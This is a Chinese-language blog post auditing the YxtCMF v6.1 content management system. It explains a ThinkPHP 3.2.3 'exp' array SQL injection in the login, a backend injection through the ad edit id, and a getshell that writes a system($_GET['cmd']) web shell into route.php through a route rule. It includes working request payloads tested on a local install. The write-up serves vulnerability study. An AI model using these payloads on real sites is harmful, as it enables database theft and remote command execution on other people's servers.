YxtCMF后台的注入和getshell分析
跟着别人的文章来的,自己复现一下学习一下思路,记录的比较详细,基本上一遍想一遍写的。
- YxtCMF_v6.1
- phpstorm
目录结构
1
2
3
4
5
6
7
8
9
10
11
12admin //后台静态文件
appliication //应用文件
data //数据配置文件
Expand //扩展类库目录
plugins //插件
public //一些资源
themes //主体
ueditor //编辑器文件
update //升级文件
uploads //上传文件
yxtedu //核心目录根据Thinkphp3.2.3开发的
index.php
说明:
这摊源码是基于thinkphp3.2.3开发的,然后有几个重要的目录记录一下:1
2
3
4
5application/xxx/controller //由于是MVC架构,所以我们重要的逻辑代码就在controller下查看就好了
application/xxx/Menu //里面基本上是数组,定义了网站的一些功能名称、模块,我们可以根据这些数组查找到功能点对应的php文件
data/conf/route.php //路由文件
data/conf/db.php //数据库配置文件
yxtedu/Core/Mode/Api/function.php //thinkphp里面的一些自定义的重要函数,后面我们需要用到
index.php
1 | <?php |
首先会判断是否开启了 magic_quotes_gpc 函数1
if (ini_get('magic_quotes_gpc'))
若开启了的话,则会对GET、POST接受的参数进行 stripslashesRecursive(实质上就是stripslashes) 转义:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17function stripslashesRecursive(array $array)
{
foreach ($array as $k => $v)
{
if (is_string($v))
{
$array[$k] = stripslashes($v);
} else
if (is_array($v))
{
$array[$k] = stripslashesRecursive($v);
}
}
return $array;
}
$_GET = stripslashesRecursive($_GET);
$_POST = stripslashesRecursive($_POST);
然后下面给一些常见的参数或者路径赋值:1
2
3
4
5
6
7
8
9define("APP_DEBUG",false);
define('SITE_PATH', dirname(__file__) . "/");
define('APP_PATH', SITE_PATH . 'application/');
define('SPAPP_PATH', SITE_PATH . 'yxtedu/');
define('SPAPP', './application/');
define('SPSTATIC', SITE_PATH . 'statics/');
define("RUNTIME_PATH", SITE_PATH . "data/runtime/");
define("HTML_PATH", SITE_PATH . "data/runtime/Html/");
define("THINKCMF_CORE_TAGLIBS", 'cx,Common\Lib\Taglib\TagLibSpadmin,Common\Lib\Taglib\TagLibHome');
判断是否已经安装了,若没有安装进行安装:1
2
3
4
5
6
7
8if (!file_exists("data/install.lock"))
{
if (strtolower($_GET['g']) != "install")
{
header("Location:./index.php?g=install");
exit();
}
}
最后引用了一个文件,还不知道是干嘛用的:1
require SPAPP_PATH . 'Core/ThinkPHP.php';
前台登录处的一个注入
这个注入点主要是由于thinkphp框架漏洞所导致的一个注入点,又学到了
这里进行抓包:1
2
3
4
5
6
7
8
9
10
11
12
13
14POST /yxtcmf/index.php/user/login/ajaxlogin.html HTTP/1.1
Host: 127.0.0.1
Content-Length: 42
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://127.0.0.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://127.0.0.1/yxtcmf/index.php/portal/index/index.html
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9lnb0r3hh25e1u5v3i7gb816e1; admin_username=admin; refersh_time=0
Connection: close
account=admin&password=admin&ipForget=true
登陆成功
把payload直接放出来:1
2
3
4
5
6
7
8
9
10
11
12
13
14POST /yxtcmf/index.php/user/login/ajaxlogin.html HTTP/1.1
Host: 127.0.0.1
Content-Length: 117
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://127.0.0.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://127.0.0.1/yxtcmf/index.php/portal/index/index.html
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9lnb0r3hh25e1u5v3i7gb816e1; admin_username=admin; refersh_time=0
Connection: close
account[0]=exp&account[1]=='123' and 1=(updatexml(1,concat(0x3a,(select database())),1))&password=admin&ipForget=true
报错注入将数据库爆出来了
我们分析一下这个漏洞形成的原因。
首先我们请求的url:1
/yxtcmf/index.php/user/login/ajaxlogin.html
然后我们就找application/user下面的controller:
当然有的时候我们可能无法根据名称来辨别是否是我们需要找的脚本,我的方法就是在这个application/user/controller目录下面用关键词来查找了
可以挨个看一下里面的内容,最终我找到了LoginController.class.php:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25//登录验证
function dologin(){
if(!sp_check_verify_code()){
$this->error("验证码错误!");
}
$users_model=M("Users");
$rules = array(
//array(验证字段,验证规则,错误提示,验证条件,附加规则,验证时间)
array('username', 'require', '手机号/邮箱/用户名不能为空!', 1 ),
array('password','require','密码不能为空!',1),
);
if($users_model->validate($rules)->create()===false){
$this->error($users_model->getError());
}
$username=$_POST['username'];
if(preg_match('/^\d+$/', $username)){//手机号登录
$this->_do_mobile_login();
}else{
$this->_do_email_login(); // 用户名或者邮箱登录
}
}
首先验证了验证码是否正确,然后初始化了一个Users模块,最后检测是用手机号登录还是用邮箱登录:1
2_do_mobile_login();
_do_email_login();
我们跟踪mobile函数,这里两个登录的方式都有注入:1
2
3
4
5
6
7private function _do_mobile_login(){
$users_model=M('Users');
$where['mobile']=$_POST['username'];
$password=$_POST['password'];
$result = $users_model->where($where)->find();
if(!empty($result)){
......
里面其他的代码都不用看,注意上面的代码有个where函数,而:1
在Thinkphp 3.2.3where处存在缺陷如果没有经过I函数接受数据则会导致SQL注入
这是thinkphp的一个框架漏洞,我们先来看一下where函数的功能和用法:
也就是说,where里面包含的内容就是我们要查找的where后面的语句,那么我们这里是不是只要直接写入语句进去就行啦~
但是你要观察到我们这里where里面的$where变量是数组的形式,而并非字符串形式。
这里我们看下exp表达式,看了你就懂啦:
也就是说,array的第一个值为exp,第二个值为我们要执行的sql语句,就可以绕过利用了,所以我们的exp就是:1
account[0]=exp&account[1]=='123' and 1=(updatexml(1,concat(0x3a,(select database())),1))&password=admin&ipForget=true
分析好了exp之后,我们来看下I函数(/yxtedu/Core/Mode/Api/finctions.php)中的过滤,官方是这样解释的:
意思就是说,我们过滤的主要方法是array_walk_recursive(data,filter),data代表我们要过滤的内容,fileter代表我们要过滤的方法1
2
3
4
5function I($name,$default='',$filter=null,$datas=null) {
......
is_array($data) && array_walk_recursive($data,'think_filter');
return $data;
}
I函数中的array_walk_recursive(),采用的是think_filter,跟踪这个函数:1
2
3
4
5
6
7
8function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}
这里要是匹配到了以上的函数,值就会为空了,所以说没有I函数的where是存在注入点的。
后台的一个注入
我们知道这套cms有上面的一个漏洞之后,通过关键词搜索可以跟踪到更多的注入点:
就直接跟进这个39行的代码,来到了application/admin/controller/adcontroller.class.php1
2
3
4
5
6function edit(){
$id=I("get.id");
$ad=$this->ad_model->where("ad_id=$id")->find();
$this->assign($ad);
$this->display();
}
这里通过I函数获取id值,但是没有选择过滤的方法,所以默认应该是没有过滤函数的,id直接拼凑到语句当中了
但是我这里还是不知道这个函数用在哪个功能里,最后我通过搜索ad_id找到了。
我们访问这个页面
函数命名为edit,肯定就是编辑了
然后发现是个伪静态
这样我们在后面添加语句试试:
and 1=1 正确
and 1=2 就报错了
GETSHELL
这里是设置路由这里的问题,RouteController.class.php:1
2
3
4
5
6
7function index(){
$routes=$this->route_model->order("listorder asc")->select();
sp_get_routes(true);
$this->assign("routes",$routes);
$this->display();
}
跟进这个sp_get_routes函数,我这里贴出关键的代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23function sp_get_routes($refresh=false){
......
$routes=M("Route")->where("status=1")->order("listorder asc")->select(); //取出status为1的Route
$all_routes=array();
$cache_routes=array();
foreach ($routes as $er){
$full_url=htmlspecialchars_decode($er['full_url']); //这里的full_url用htmlspecialchars_decode解码
......
$all_routes[$url]=$full_url; //将$full_url添加到$all_routes中
}
......
$route_dir=SITE_PATH."/data/conf/";
if(!file_exists($route_dir)){
mkdir($route_dir);
}
$route_file=$route_dir."route.php"; //检测是否存在目录和route.php
file_put_contents($route_file, "<?php\treturn " . stripslashes(var_export($all_routes, true)) . ";");
//将我们的$all_routes写入到route.php中
return $cache_routes;
这里我们通过上面的代码可以看出,过滤的函数就是三个:1
2
3htmlspecialchars_decode
var_export
stripslashes
跟踪这三个函数,没什么作用,等于将我们的route直接写入到route.php中。
route.php:1
2
3
4<?php return array (
'login$' => 'user/login/index',
......
);
后台添加url规则,填写:1
index/a/b',$assert(system(@$_GET['cmd']))}.'
然后访问:1
/yxtcmf/data/conf/route.php?cmd=whoami
我们打开route.php,代码已经写入进去了
审计就到这里啦
推荐阅读
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com
文章标题:YxtCMF后台的注入和getshell分析
本文作者:sher10ck
发布时间:2019-07-05, 12:24:03
最后更新:2020-01-13, 12:54:27
原始链接:http://sherlocz.github.io/2019/07/05/YxtCMF代码审计/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。